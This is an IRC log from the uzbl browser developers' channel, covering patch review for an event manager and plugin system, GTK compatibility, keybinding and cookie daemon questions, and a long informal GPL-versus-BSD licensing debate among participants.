19:23 < ruoso> hmm... the patch simply drops the features it seems
19:23 < Dieterbe> mason-l: do it similar to dump_config but with the event syntax
19:25 < Dieterbe> mason-l: in set_var_value, you can save 2 lines by putting the send_event(VARIABLE_SET, msg->str);   g_string_free(msg,TRUE); stuff outside of the if/else ;)
19:25 < mason-l> Dieterbe, Ok.
19:26 < Dieterbe> mason-l: and you mistyped my name in my email address
19:26 < mason-l> :S
19:26 < Dieterbe> micromanaging is fun :P
19:27 < mason-l> Dieterbe, Actually I don't think I can save those lines because of garbage collection issues.
19:27 < mason-l> I would then need to put g_free's in before those return FALSE;'s
19:28 < Dieterbe> ah maybe you're right. scratch what i said then
19:37 < Dieterbe> mason-l: shouldn't the bind stuff be in a plugin?
19:37 < mason-l> Where are you looking?
19:38 < Dieterbe> your event manager, class class UzblInstance:
19:38 < Dieterbe> function bind
19:38 < mason-l> Dieterbe, http://github.com/mason-larobina/uzbl/commit/13cd8f34e86fe9bd17fffd770eb0c1ee57bd1815 and I've tested it and it works.
19:39 < Dieterbe> ok i'll review. 
19:40 < Dieterbe> but i think the keybinding stuff belongs in a plugin
19:40 < ruoso> the versioned dependency on gtk may be dropped if the attributes lower, upper and page_size are accessed directly. It only got an accessor on 2.14. I have a git commit here
19:43 < mason-l> Dieterbe, The only thing stopping me from moving that function into a plugin was how difficult it is for other functions to access each others functions at the moment.
19:43 < mason-l> I'm going to fix that now
19:43 < Dieterbe> mason-l: well if you tested the dump_config_as_events that's fine by me. this commit looks good
19:43 < ruoso> where should I send the git patch with the proposed change?
19:44 < Dieterbe> mason-l: okay feel free. i think we're close to mergeability
19:44 < Dieterbe> ruoso: you mean a patch that accesses the attributes directly instead of with the accessor functions, just to be able to use a lower gtk version?
19:45 < ruoso> Dieterbe, I could add an #ifdef
19:45 < Dieterbe> ruoso: whoa whoa..
19:45 < Dieterbe> the less complex the code the better
19:45 < mason-l> Dieterbe, I'm going to make every function the root namespace of a plugin that starts with "export_" re-map that function to the uzbl instance (I.e. def export_bind(..): -> uzbl.bind).
19:46 < ruoso> the patch only changes 4 lines of code
19:46 < Dieterbe> mason-l: that's need. maybe prefix the plugin name? ie uzbl.<plugin-name>-<function name minus the 'export_'>
19:46 < Dieterbe> mason-l: neat*
19:46 < ruoso> Dieterbe, it's weird to intentionally exclude a major distro version because of that....
19:47 < Dieterbe> we didn't intentionally exclude anything
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19:48 < Dieterbe> you were using debian lenny right?
19:48 < ruoso> Dieterbe, I am
19:48 < ruoso> and I just patched the source to make it work
19:49 < Dieterbe> maybe it's better to keep your patch in your debian package then
19:49 < mason-l> Dieterbe, I was thinking against that because I would like the ability to have a plugin export a function that can replace a uzbl.<function> so somebody could write a plugin that modifies the way events are handled (or any number of things).
19:50 < Dieterbe> mason-l: right. oh well it doesn't really matter for now. we'll see where we end up
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19:51 < ruoso> Dieterbe, any new debian package will only get into the unstable, which already has 2.14...
19:51 < ruoso> but as I said, I just think it's weird to make that decision, but it's not my call
19:52 < Dieterbe> i didn't make any decision
19:52 < Dieterbe> i said 'maybe'
19:53 < Dieterbe> but i do think it's not because something compiles that it will also work
19:53 < ruoso> it's documented API
19:53 < ruoso> the accessors are only available in 2.14
19:53 < ruoso> but the attributes are there way before that
19:53 < Dieterbe> yes sure, but what about all the other things we are using that are in 2.14 ? maybe other stuff has changed as well (without api change)
19:54 < Dieterbe> i have no idea actually
19:55 < ruoso> Dieterbe, the good thing about libraries is that if the API didn't change, it works
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19:55 < ruoso> unless the version management of that library sucks, which fortunally is not the case in Gtk
19:56 < Dieterbe> hmm gtk guys do know how to hide their changelog
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19:58 < Dieterbe> so ruoso which version were you trying to be compatible with? 2.11 ?
19:58 < ruoso> 2.12
20:02 < Dieterbe> hey mason-l 
20:02 < Dieterbe> Your musical compatibility with lazzareth is Very High
20:02 < Dieterbe> Music you have in common includes Dream Theater, Liquid Tension Experiment, Porcupine Tree, Muse and Lamb of God.
20:04 < ruoso> anyway, I have the git patch-file at http://scsys.co.uk:8001/33511 I don't think it's worth a fork or a branch
20:04 < mason-l> :D
20:04 < Dieterbe> ruoso: no ifdef? :)
20:05 < ruoso> well, you asked me not do do it
20:05 < Dieterbe> yeah i did
20:06 < ruoso> anyway... back to $work &
20:07 < Dieterbe> mason-l: so, when can i re-review :)
20:07 < Dieterbe> i want to start hacking too and now i have to wait ;)
20:10 < Knirch> what's the git command to produce patches in git am friendly format?
20:11 < ruoso> git format-patch last-upstream-commit-id
20:11 < Knirch> thanks
20:11 < Knirch> I was looking for export and send and whatnot, bk damaged :)
20:12 < Knirch> sweet
20:13 < ecraven> how can i specify keychain keybindings? C-x C-s for example?
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20:28 < Dieterbe> ecraven: you need to enter literal control chars in the config (for now()
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20:31 < zsol> hello
20:32 < ecraven> Dieterbe: so i can do   bind ^x^s = exit   ?
20:33 < Knirch> zsol: you want #uzbl-chat for that :) (sorry bad joke for those who idle in #android :P)
20:33 < zsol> Knirch: :]
20:35 < Dieterbe> ecraven: yes if by '^' you mean the literal control character
20:36 < ecraven> excellent :)
20:36 < Dieterbe> hey mason-l ? still waiting :)
20:36 < zsol> I'm wondering: how does gmail/google reader feel for you inside uzbl?
20:37 < Dieterbe> never used any of those. but some people report issues
20:37 < Dieterbe> there are also people who say all is fine for them
20:37 < zsol> thought so
20:38 < zsol> for me it just hangs. I can see npviewer.bin pinning one core to 100%, whatever is that.
20:38 < Dieterbe> npviewer? isn't that flash?
20:38 < zsol> Actually I have lots of problems with npviewer.bin which are not related to uzbl
20:39 < zsol> I guess, I haven't investigated so far
20:39 < Dieterbe> most people report problems with javascript i think
20:39 < Dieterbe> or maybe cookies
20:39 < zsol> I'll dive into it later
20:39 < zsol> just wanted to check if I'm the black sheep or not
20:40 < Dieterbe> as far is flash is concerned: yes. the others: no :)
20:40 < zsol> ok, thx :]
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20:40 < zsol> btw, nice code you guys put together, respect
20:40 < DuClare> Do you need npviewer for flash?
20:41  * Dieterbe slaps DuClare 
20:42 < Dieterbe> today i tried messing with the handler args. inject_handler_args has bitten me . i accepted my defeat
20:42 < DuClare> ^^;;
20:42 < DuClare> Crap
20:44  * Dieterbe afk for foods
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20:54 < mason-l> Almost done Dieterbe.
20:56 < rob|> key bindings?
21:04 < Dieterbe> okay mason-l 
21:04 < Dieterbe> not yet keybinds i think
21:04 < Dieterbe> more the "making it all mergeable" part
21:05 < madnificent> congrats on the /. post :)
21:05 < mason-l> Actually I was only working on that 'def export_bind(..):' -> uzbl.bind feature.
21:07 < Dieterbe> mason-l: ..which helps moving the bind stuff into a plugin, which makes your thing mergeable? :)
21:07 < rob|> anyways, nice work mason. cosidering that you did all this in only 2 days!
21:07 < mason-l> Yeah!
21:10 < stalafin> is there a difference between opening a new instance of uzbl and opening a new instance of uzbl from within uzbl?
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21:10 < rob|> stalafin: no, in both cases we just spawn 'uzbl --uri ...'
21:11  * rob| reboots to see if this stupid read-only thing goes away
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21:16 < stalafin> rob|: don't get it... i can open thousand of instances of uzbl --uri www.uzbl.org
21:16 < stalafin> rob|: but when i open a new instance from within it... it open, displays something quickly, and is gone...
21:17 < rob|> hmm, strange indeed
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21:34 < rob|> man, key-release-events aren't ctached for some reason
21:35 < Dieterbe> odd
21:36 < toplay22> I've heard a lot of Uzbl in the last couple of months, but I just checked it out recently.
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21:36 < toplay22> I have a question, and I appologize if it is noobist, but I couldn't find any information about it online.
21:37 < toplay22> Is there any functionality in Uzbl (or any of the contributed scripts) to selectively run javascript from websites? (Something like NoScript from Firefox)
21:38 < Dieterbe> bind a script to load_start_handler that checks the uri and updates disable_scripts
21:39 < toplay22> Dieterbe: thanks! I'll check that out!
21:40 < N30N_> toplay22: example script.. http://bbs.archlinux.org/viewtopic.php?pid=579535#p579535
21:41 < toplay22> N30N_: thanks
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21:45 < rob|> Dieterbe: hah, stupidity on my side. key release works fine, i was running an old uzbl binary and didn't realize it's been renamed to uzbl-core
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21:47 < rob|> ok, pushed the KEY_RELEASE event reporting
21:47 < Dieterbe> rob|: make clean and make test-dev to the rescue ;)
21:48 < rob|> yeah...
21:52 < Dieterbe> whoa mason-l must be staying up late. it's almost bedtime for me
21:54 < mason-l> I'm going strong.
21:56 < rob|> bed time? it's 10pm here
21:56 < mason-l> Its 03:54 here but I'll see if I can get this code working.
21:56 < rob|> fun fun fun...
21:57 < rob|> Dieterbe: i guess you're in my TZ, right?
21:57 < Dieterbe> yeah
21:57 < Dieterbe> i normally need 9hours of sleep and i have to wake up at 7, so ..
21:58 < rob|> oh, i never timed my sleep periods. usually fall asleep when i'm tired ;)
21:59 < rob|> or on the rare ocassions of power outages :P
21:59 < rob|> btw, a reboot fixed the read-only fs
22:00 < rob|> arch starts to feel like windows ;)
22:01 < Dieterbe> odd
22:03 < Dieterbe> rob|: feel free to push that keyrelease thing into my event-messages as well
22:03 < rob|> ok
22:04 < Dieterbe> not that it matters much. i'm more anxious about merging in mason-l's stuff :)
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22:04 < github> uzbl: Robert Manea event-messages SHA1-e6cdd95
22:04 < github> Added KEY_RELEASE event
22:04 < github> http://bit.ly/6bqXS
22:04 < rob|> done
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22:22 < mason-l> Dieterbe, It works!
22:22 < Dieterbe> "it" ? :D
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22:27 < xerebz> how do i make set load_commit_handler = output the nice little recv and also run a script (middle_mouse.js)
22:28 < xerebz> do i have two set load_commit_handlers... do i put some delimiter..?
22:28 < Dieterbe> chain
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22:39 < xerebz> thanks
22:45 < mason-l> Dieterbe, Get ready..
22:47 < rob|> btw, do we also need (mouse) button press/release events?
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22:48 < Dieterbe> oh man.. somebody made a patch for that at some point
22:49 < Dieterbe> but i don't even remember if it got merged in
22:49 < rob|> i guess button events in combination with motion notifies could be easily used to write mouse gesture handlers
22:49 < Dieterbe> iirc he said it wasn't clean enough to be merged in or something, but i'm not sure
22:49 < mason-l> Dieterbe, Well github's being slow about it.
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22:52 < Dieterbe> mason-l: 6e72af4928f7c6f4b16a2a69ad44d8ccce49be88 this is your latest?
22:53 < mason-l> Yeah, just uploaded 10 minutes ago.
22:53 < mason-l> http://github.com/mason-larobina/uzbl/tree/6e72af4928f7c6f4b16a2a69ad44d8ccce49be88
22:53 < mason-l> Its just not shown up in my feed yet.
22:54 < Dieterbe> np
22:55 < mason-l> Dieterbe, Notice I've moved the bind function into an external plugin.
22:56 < mason-l> Dieterbe, And look on line 45, it's using its own exported function.
22:56 < mason-l> Also I've added another function called
22:56 < mason-l> cleanup to the plugin
22:56 < Dieterbe> ah and dump_key_hash() is gone. good..
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22:57 < mason-l> I figure call init(uzbl) on startup and cleanup(uzbl) on exit (on a per instance basis).
22:58 < mason-l> Its a record 04:56 in my TZ.
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22:59 < Dieterbe> yeah you're crazy
22:59 < Dieterbe> +        self._cmdbuffer = []
22:59 < Dieterbe> +        self.keysheld = []
22:59 < Dieterbe> +        self.metaheld = []
22:59 < Dieterbe> +        self.mode = "command"
22:59 < Dieterbe>  
22:59 < Dieterbe> +        self.binds = {}
22:59 < Dieterbe> stuff like this probably belongs in the keybind plugin
23:00 < mason-l> I need to remove self.binds but the rest stay for now.
23:00 < Dieterbe> okay i just merged in your stuff. good job
23:00 < Dieterbe> didn't test it though
23:01 < mason-l> Dieterbe, Good thing I did.
23:01 < rob|> just one thing, we should make sure that different bits of the default config (uzbl itself, bindings, and all other plugins) fit together well
23:01 < Dieterbe> i'm looking forward to playing with it and hacking with it
23:01 < Dieterbe> yeah. the "example config & scripts" should give a good experience
23:02 < rob|> i'd suggest to have multiple file in $XDG_CONFIG... like: core-config, keys, ...
23:03 < rob|> and all of those should share a similar format
23:03 < mason-l> Dieterbe, Also I'd recommend changing the cookie_daemon.py launcher in uzbl-browser to http://dpaste.com/90406/
23:04 < Dieterbe> i think having 1 config file is quite okay.  but it could use a better structure and stuff
23:04 < rob|> well one config file is not easily possible with the event manager
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23:04 < github> uzbl: Dieter Plaetinck event-messages SHA1-de85047
23:04 < github> todo updates
23:04 < github> http://bit.ly/n5W38
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23:05 < Dieterbe> mason-l: you would start a new cookie daemon each time you start a uzbl-browser instance?
23:06 < mason-l> Dieterbe, Yes! Because as soon as the cookie daemon detects a **working** cookie daemon already running it sys.exit(1)'s
23:07 < Dieterbe> rob|: why is that? my idea would be to also define keybinds in the uzbl config, the event manager catches these through the variable_set events
23:07 < mason-l> The keyword being **working**. The [[ -S <socket> ]] doesn't check the socket health.
23:07 < rob|> ah, i see. yeah, i guess the idea is not bad
23:07 < Dieterbe> i've never had a cookie_daemon failure
23:08 < mason-l> Dieterbe, I wouldn't use VARIABLE_SET for bindings, I'd use something like BINDING_REQUEST or BIND_DEFINITION
23:08 < Dieterbe> uzbl-core has no idea what a binding is
23:08 < rob|> indeed
23:08 < Dieterbe> so it can't issue bind events
23:08 < mason-l> Dieterbe, Or that.
23:09 < mason-l> Dieterbe, I still recommend launching cookie_daemon.py like http://dpaste.com/90406/
23:09 < rob|> something like (multiple) 'set binding = M-S foo _ = foobar' should work
23:09 < Dieterbe> re: uzbl-browser. i'm okay with scj's mindset: assume that cookie_daemon and event_manager don't crash. if they do, it's up to the user to notice. this simplifies things a lot
23:09 < mason-l> Because if the cookie_daemon.py is ever killed the socket is abandoned.
23:09 < rob|> i.e. overwriting a single var for each binding
23:09 < Dieterbe> then cookie_daemon should remove the socketfile upon sigterm
23:10 < mason-l> Dieterbe, SIGTERM != SIGKILL
23:10 < mason-l> The cookie socket is removed on SIGTERM.
23:10 < Dieterbe> if you're a wiseguy that does sigkill. you should be smart enough to remove the socket
23:10 < mason-l> But nothing can cleanup from a SIGKILL on linux systems.
23:11 < Dieterbe> sigkill is the users problem. not uzbls imho
23:12 < rob|> mason-l: i think my above binding example would somewhat interfere with dump_config_as_events, wouldn't it?
23:12 < Dieterbe> i don't think so
23:13 < rob|> hmm
23:13 < Dieterbe> anyway. i'm off
23:13 < rob|> night dieter
23:13 < mason-l> rob|, Yes it will, dump_config_as_events will only print the last value of that variable. But its no longer dumping all at once. You have ask it to manually dump the config now.
23:13 < Dieterbe> good job ladies
23:14 < mason-l> Night Dieterbe.
23:14 < mason-l> rob|, I removed all that "wait until config is loaded until printing crap" I added earlier in the day.
23:14 < rob|> mason-l: ah, ok i see. so i guess using a single (custom var) with a well defined names for bindings should be the way to go then
23:15 < rob|> *name
23:15 < mason-l> I'm not sure about that.
23:16 < rob|> well, either that or a separate config file for the ev. manager
23:16 < mason-l> I would prefer uzbl raise a binding event of the form: EVENT BINDING [3423423] M-S foo _ = foobar
23:17 < mason-l> rob|, You mean for the bind plugin :P
23:17 < rob|> hmm, as dieter said uzbl doesn't know anything about bindings so it would be kind of unnatural to do that
23:17 < rob|> yeah, per plugin that is
23:18 < mason-l> rob|, Nah, just the single bind.py plugin.
23:18 < mason-l> (unless other plugins need their own optional config's too, but thats up to the plugin writers).
23:18 < rob|> well, other plugins could also want some configutration
23:19 < mason-l> rob|, Yes and hopefully they can do it all in the uzbl's config then access it through uzbl.config
23:19 < rob|> sure, but only if we use uzbl vars for that
23:20 < mason-l> Why only uzbl vars?
23:20 < rob|> otherwise we would need to generate some sort of event for every (most, many, whatever) plugin
23:20 < rob|> cause those can hold anything
23:20 < rob|> and we already have a VARIABLE_SET event
23:21 < rob|> like: set link_hover = something interpreted by the link hover plugin
23:21 < rob|> etc.
23:22 < mason-l> Neverrr!
23:23 < rob|> hmm
23:23 < mason-l> The wonderful thing about the plugin system now is that its easy to put your config into the init() function.
23:23 < mason-l> I guess as an option.
23:23 < mason-l> Theres nothing stopping someone doing  "set link_hover = something interpreted by the link hover plugin" also.
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23:24 < rob|> ok, so what do you suggest to be the _default_ way to configure the plugins then (sonsidering we don't want to add events to uzbl which it logically can't know of)?
23:25 < rob|> edit the source, one config file per plugin?
23:26 < mason-l> rob|, I think I'm too tired to answer right now.
23:26 < mason-l> Got to go.
23:26 < mason-l> Night guys
23:27 < rob|> sure, np. nice work and a big step forward to putting the event messages intto a useful state :)
23:27 < rob|> night mason
23:29 < mason-l> Always a pleasure.
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23:45 < evaryont> wtfux.
23:45 < evaryont> Can anyone else access twitter from uzbl?
23:46 < evaryont> k, so it's not much uzbl's fault than it is somewhere in my network, FF can't get there either. sorry for the false alarm.
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02:35 < xerebz> the uzbl wiki scripts aren't helping but... i've been trying to download a .torrent from a private server but it always downloads the .torrent&passkey=xxxx
02:36 < xerebz> i'm assuming this is because wget can't handle secure logins?
02:36 < scj> xerebz: it's because wget just names the file according to the url
02:37 < xerebz> if i rename the file it should work?
02:37 < scj> dunno. maybe?
02:45 < xerebz> it didn't:\
02:45 < xerebz> if i want a bind that accepts just one letter
02:45 < xerebz> like g?
02:45 < xerebz> but its a wildcard
02:45 < xerebz> how do i do that
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03:09 < derekS> hey guys. any plans to make a windows port of uzbl? what about add to universe in ubuntu?
03:09 < rtalreja> hi, i'm using uzbl_tabbed and i'm trying to use emacs style keybindings. anyone know how i can set the keybindings to the from ctrl+_?
03:14 < scj> derekS: a windows port is probably technically possible, it's just very very low priority
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03:16 < scj> and as for ubuntu binaries; probably once it's out of alpha releases
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03:18 < derekS> scj: thanks ::)
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03:40 < sitwon> derekS: My friend was able to compile Uzbl just fine in Ubuntu 9.04
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05:31 < MichaelRaskin> derekS, if you are lazy, you could always grab Nix ( http://nixos.org ) and install uzbl nix-package. But that will stash an extra glibc etc. on your HDD. The second glibc will not interfere with the system, though.
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06:53 < evaryont> just want to say: after some, if not all, the event-message/docs/TODO stuff gets done, uzbl is going to be AWESOME>
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08:04 < happy> Can someone help me? For some reason the css on a website I am going to is not showing up.
08:19 < happy> also, does anyone know how to view the source of a webpage?
08:21 < ruskie> right click -> inspect element
08:25 < happy> ty
08:25 < happy> it is not working well...
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08:26 < happy> the window comes up, the layout is there, but the info is not in it.
08:28 < ruskie> you need shared-mime-info from what I know
08:28 < ruskie> so if that's missing install it
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08:32 < happy> ruskie: viewing the source still does not work. Do I need to recompile after installing?
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08:39 < ruskie> restarting maybe?
08:39 < ruskie> might be a few other bits needed as well
08:39 < happy> I already restarted it
08:46 < krayon> happy: I just use a script to wget -> gvim
08:47 < happy> krayon: not a bad idea... if the site does not need cookies
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08:55 < DPic> what license(s) is uzbl under?
08:55 < happy> GPL
08:55 < DPic> v?
08:55 < happy> GPL v3
08:55 < DPic> cool
08:55 < happy> I am not that happy about it...
08:56 < DPic> you a BSD style licence person?
08:56 < happy> yeah, pretty much :-)
08:57 < DPic> forgive me for my ignorance, but why?
08:57 < happy> This is offtopic for this channel. I would be willing to talk to you in a PM, but not in the channel.
08:58 < rob|> morning.
08:58 < happy> morning :-)
09:02 < ruskie> lol
09:02 < ruskie> I wouldn't consider it OT
09:03 < ruskie> still I like GPL in general :)
09:03 < happy> Wait, I know no one here is a lawyer (as far as I know). But doesn't the use of GPL3 as opposed to GPL2 mean that you can't use it in a kiosk type setting without giving away the source code?
09:03 < ruskie> I just find it amusing that people are complaining about V3 considering that in the end it's more or less the same as V2 with anti-tivoization and only more explicit
09:03 < ruskie> happy, wrong
09:04 < ruskie> that's AGPL
09:04 < jvogel> dude
09:04 < jvogel> bsd ftw... i mean seriously
09:04 < ruskie> jvogel, you are a non-argument ;)
09:04 < happy> ruskie: isn't a kiosk thing tivoization?
09:04 < jvogel> ruskie: ?
09:04 < ruskie> happy, only if you onw the kiosk :)
09:05 < jvogel> you'd think something that'd want to ahere to the unix philosphy would be under bsd
09:05 < jvogel> but menh
09:05 < ruskie> and even then it's not so much about the code as ability to run modified binaries
09:05 < ruskie> i.e. you need to provide the ability to run modified binaries in place of the current one to the owner of the device
09:05 < happy> ruskie: so if I were to sell these kiosks to companies, that is a no no without the source?
09:05 < ruskie> you need to sell them the source as well
09:05 < happy> ok
09:06 < ruskie> that's a fact of even gplv2
09:06 < ruskie> binary+source
09:06 < happy> not if they are black boxes
09:06 < ruskie> or binary with a written offer of providing the source for 3 years
09:06 < ruskie> yes it is even for gplv2
09:06 < ruskie> gplv3 just makes it more explicit for those that try to follow the letter instead of the spirit of the license
09:06 < happy> ruskie: not if it is complete with hardware... isn't that the definition of tivoization?
09:07 < ruskie> no
09:07 < happy> then what is the definition of tivoization?
09:07 < jvogel> and your argument against bsd is...
09:07 < ruskie> tivoization is locking down the device with a signing key and only allowing those binaries that are signed by that key to run
09:07 < ruskie> jvogel, I'm not arguing... but you haven't given a single argument for :)
09:07 < jvogel> dude
09:07 < jvogel> i can read
09:07 < jvogel> bsd license
09:08 < jvogel> /argument
09:08 < happy> lol
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09:08 < jvogel> :P
09:08 < ruskie> happy, even tivo had to provide the sources for the stuff running on their devices
09:08 < happy> ok
09:08 < ruskie> else they would be in violation of the GPL
09:08 < happy> now I get it
09:09  * happy still likes BSD
09:09  * jvogel agrees
09:09 < happy> there is no complications. I don't need to spend too much time trying to understand it
09:10 < happy> use the code however you want. Do not take the developer's name in vain. That is the BSD licence
09:10 < happy> :-)
09:10 < ruskie> so is public domain
09:10 < ruskie> or d whatever the fuck you want with it license ;)
09:10 < happy> nope. I like the Do not take the developer's name in vain.
09:11 < happy> ruskie: I have nothing against public domain. That is forth on the list of my favorite licences. BSD, MIT, and ISC are the first 3. And that is because I can not tell them apart
09:12 < happy> :-D
09:12 < ruskie> so put them in spot 1 ;)
09:12 < happy> lol
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09:17 < ruskie> I more or less go this way: BSD for initial public implementations of stuff(i.e. example tcp/ip stack, example ipsec, etc...) GPL for end user apps and any unqiue libs that might bring distinction to a GNU system(i.e. readline), anything else for whatever is desired
09:19 < rob|> set uri = data:text/plain,@<document.all[0].innerHTML>@
09:19 < rob|> oh
09:20 < sitwon> I think the major reason behind using BSD or MIT (rather than public domain, which is legally questionable anyways) is the nice disclaimer text
09:20 < sitwon> and the notice of copyright
09:20 < sitwon> but mostly the disclaimer
09:21 < happy> mostly the disclaimer :-)
09:21 < happy> ruskie: I believe that free software should be free, not copyrighted or copylefted. And there is no reason to argue since niether of us will change our minds.
09:22 < sitwon> I read an article recently that arugued copyleft (eg. GPL) is an admission of fear
09:22 < happy> lol, I can see how that could be the case
09:22 < sitwon> the author considered it as heinous an attempt at control of the source code as a proprietary license
09:23 < ruskie> lol
09:23 < ruskie> as many views as there are people :)
09:23 < happy> :-)
09:23 < ruskie> and yeah I know most of these arguments are purely philosophical :)
09:23 < happy> I agree with sitwon so number_of_views = num_people - 1
09:24 < happy> :-P
09:25 < ruskie> sitwon, I'll aplaude the day when there won't be any need to protect the source code anymore
09:25 < happy> why protect it in the first place?
09:25 < sitwon> ruskie: the arguments are philosophical only until you want to distribute software that uses someone else code. Then you're constrained by the rules they have chosen (or not chosen)
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09:27 < ruskie> happy, because otherwise companies like Micros~1 and such would just gobble it all up and close it off
09:27 < ruskie> sitwon, no it's philosophical because you are free to NOT use that code :)
09:27 < sitwon> ruskie: I don't know that I would want to live in that world. The implications of such a hypothetical world would be far reaching and counter to my world views
09:27 < ruskie> that's the point people complaining about the GPL always miss
09:27 < happy> ruskie: what do you mean gobble it up? It would use it, just as others would use it. And everyone would benifit from it
09:28 < ruskie> happy, no they wouldn't that's the problem
09:28 < ruskie> think what Micros~1 made of open standards
09:28 < happy> ruskie: who would not benifit?
09:28 < ruskie> they modified them sufficiently to make them inoperable
09:28 < ruskie> so only one entitiy benefits
09:28 < happy> then they botched open standards
09:28 < happy> that has nothing to do with the code behind it
09:29 < ruskie> they would to the same to the code
09:29 < sitwon> ruskie: so your argument is that we should only use source code whos licences we agre with
09:29 < ruskie> make their own changes and NOT release them
09:29 < ruskie> sitwon, naturally if you can't agree with the license behind it don't use it
09:29 < ruskie> why is that so hard for people to understand
09:29 < happy> ruskie: and what is your point? there is no one who would not benifit
09:29 < ruskie> above ALL else is the freedom to CHOOSE what you want to use/do/etc...
09:30 < happy> Microsoft gets free code, users get products.
09:30 < ruskie> and developers get nothing
09:30 < ruskie> isn't that nice?
09:30 < happy> ruskie: and if we have this licence?
09:30 < happy> microsoft never uses it. And therefore there is repeat work for them
09:30 < ruskie> Micros~1 doesn't get to make a profit on free code from developers
09:31 < sitwon> ruskie: the problem is that with n-1 views on what licence to use (were n is the number of developers) you end up segregating code into incompatible pools
09:31 < sitwon> in other words, it hinders reuse of the code which is the entire point behind releasing the code
09:32 < ruskie> you have a pragmatical view of this ;)
09:32 < ruskie> you see the same things as Linus and OSI
09:32 < happy> there is no reason microsoft should not be allowed to use the code either. And there is no reason a small business should need to give away its product because it used open source code
09:32 < sitwon> I often see new projects coerced into strategically picking a license that will allow them to use certain pre-existing packages because the cost to re-implement those packages would be far too high
09:32 < ruskie> happy, who said anything about giving away the product?
09:33 < ruskie> GPL DOES NOT AND NEVER HAS EXCLUDED COMMERCIAL SOFTWARE
09:33 < happy> ruskie: wait, what would you suggest? once you sell the software once, it is out there. They can redistribute it
09:33 < ruskie> I can write a GPL app and SELL it as long as I provide a) the source code or b) a written offer good for 3 years to provide said code
09:33 < ruskie> happy, yes you give them the same freedom...
09:34 < ruskie> but consider this MOST customers won't care
09:34 < sitwon> happy: just because they can, doesn't mean they will. And many companies make the bulk of their profit selling support and related services
09:34 < happy> sitwon: I know that. But you only need one person give it away.
09:35 < ruskie> the only issues FSF has is proprietary shrink wrapped software
09:35 < happy> and I know most get it from support
09:35 < sitwon> happy: also, many buyers want to get it "from the authors" so that they are (more or less) guaranteed that it hasn't been tampered with
09:35 < ruskie> and such other lock-ins
09:35 < Dieterbe> good morning ladies
09:35 < ruskie> yeah not to mention they want support for it
09:36 < ruskie> I work for an ISV and with some customers we are required to give them the code and the rights etc
09:36 < sitwon> this is the part of the argument that is philosophical. I'd rather not debate the merit of Stallmanist values.
09:36 < happy> Stallmanist values?
09:37 < ruskie> Stallman has other values beyond the Free Software ones :)
09:37 < ruskie> so atleast call them Free Software values :)
09:37 < happy> oh, nm I have heard of him :-)
09:37 < sitwon> the part that concerns me as a developer is that all these licences are written with the intent of fostering reuse of code but far too often I see it becoming a source for devision within the community
09:38 < ruskie> sitwon, and that won't ever change
09:38 < ruskie> even if you had ONE license people would still have division due to it
09:38 < sitwon> ruskie: encouraging people to choose less restrictive (even if less idealistic) licences helps.
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09:39 < ruskie> sitwon, erm... who's encouraging???
09:39 < ruskie> BSD project don't encourage anyone to pick the BSD license
09:39 < ruskie> nobody encourgase people to pick MIT, etc... etc...
09:40 < happy> ruskie: that is a marketing problem
09:40 < happy> MOST geeks are not marketers
09:40 < ruskie> GPL is the only encouraged license and even then it's not forced
09:40 < ruskie> there's a huge list of licenses on fsf that are all Free Software
09:40 < sitwon> ruskie: by which I mean I've been encouraging my company to consider licences like BSD or MIT as opposed to GPL for code that we release to the public
09:40 < ruskie> so people are free to use any
09:41 < happy> ruskie: and what if two licences conflict?
09:41 < happy> then what do you do?
09:41 < happy> rewrite the code?
09:41 < ruskie> sitwon, I think I could probably convince my company to use GPL... but to convince them to use BSD... no way...
09:41 < sitwon> happy: you don't distribute the code
09:41 < ruskie> no
09:41 < ruskie> ask the author if he is willing to license it to you
09:41 < ruskie> one licence doesn't exclude another
09:42 < ruskie> authors are always free to negotiate different license terms
09:42 < ruskie> why do people assume there is ONLY one way to do anything
09:42 < ruskie> if I release something under the GPL anyone can still ask if I would be willing to put it with some alternate license for them
09:43 < happy> ruskie: I am for not having to hastle with any of that. BSD like licences do not require you to do that. You can reuse any code. Period.
09:43 < ruskie> as said to each his own
09:43 < happy> ruskie: what happens if I contribute to your project?
09:43 < ruskie> I don't agree with 100% code reuse philosophy
09:43 < sitwon> happy: if you're too lazy to talk to a developer you don't deserve to use their code :-P
09:43 < happy> lol
09:44 < ruskie> happy, you own the copyright on the code unless you assign it to the project or someone else
09:44 < happy> ok
09:44 < ruskie> so yes you would be consulted on such an offer
09:44 < ruskie> but you also agree to contribute it under the license selected by the project
09:45 < happy> so then you can't relicence it without the permission of every single contributer? or major contributer?
09:45 < ruskie> correct
09:45 < ruskie> this is one of the reasons among many why the linux kernel cannot be relicensed to gplv3
09:45 < sitwon> ruskie: I haven't read all the licences listed on FSF, only the for the code I've redistributed which have been GPL, BSD, and MIT so far. I'll have to read up on the Apache and Erlang licences soon, though.
09:46 < ruskie> apache is a bit more expanded BSD
09:46 < ruskie> basically if you don't modify it you are free to use it in any project
09:46 < happy> whatever. I am done. It is just too complicated. It is not worth discussing. I will never understand it. (this is why I like BSD. It is for geeks, not lawyers)
09:46 < ruskie> if you do modify it you must provide the sources for the modifications
09:46 < ruskie> IANAL
09:47 < ruskie> but understanding Law is a must in todays world sadly
09:47 < sitwon> happy: accoring to Blizzard v BNET if you can write code you are equivalent to a lawyer when it comes to deciphering license text.
09:47 < happy> ruskie: hense the problem the GPL has created. It made free software law way more complicated
09:47 < ruskie> happy, not really
09:48 < ruskie> the license grants 4 freedoms to EVERY USER
09:48 < ruskie> if you understand that you know who the license protects
09:48 < ruskie> it's not the developer
09:48 < ruskie> it's the USER
09:48 < ruskie> that's what the GPL is... a USER oriented license
09:48 < happy> ok, now I think I get it
09:49 < happy> I am thinking from a developer perspective. I think you should be able to reuse code, not just use it
09:49 < ruskie> this is something many people don't get
09:49 < ruskie> yeah
09:49 < happy> ok
09:49 < sitwon> ruskie: a lot of developers use it to protect their own interest in the project
09:49 < ruskie> sitwon, and are free to do so
09:49 < ruskie> but first and foremost it's a user protection license
09:50 < ruskie> it's meant that no entitiy will ever be able to kill of a GPL licensed product
09:50 < sitwon> I agree, but a lot of the rhetoric comes from that perspective which is why the "user oriented" message tends to get missed
09:50 < happy> BS. That just means that people who would use it and not contribute will not use it.
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09:50 < ruskie> happy, ?
09:50 < ruskie> refering to what?
09:50  * ruskie kinda got lost now
09:51 < ruskie> multitasking work irc and web is a hassle :)
09:51 < happy> it does not help the users... It makes it so the code can not be reused by corperations.
09:52 < ruskie> and you are assuming corporations are there to benefit their consumers?
09:52 < happy> It is making one less entity use it. It is not protecting the users. They can always use the free software
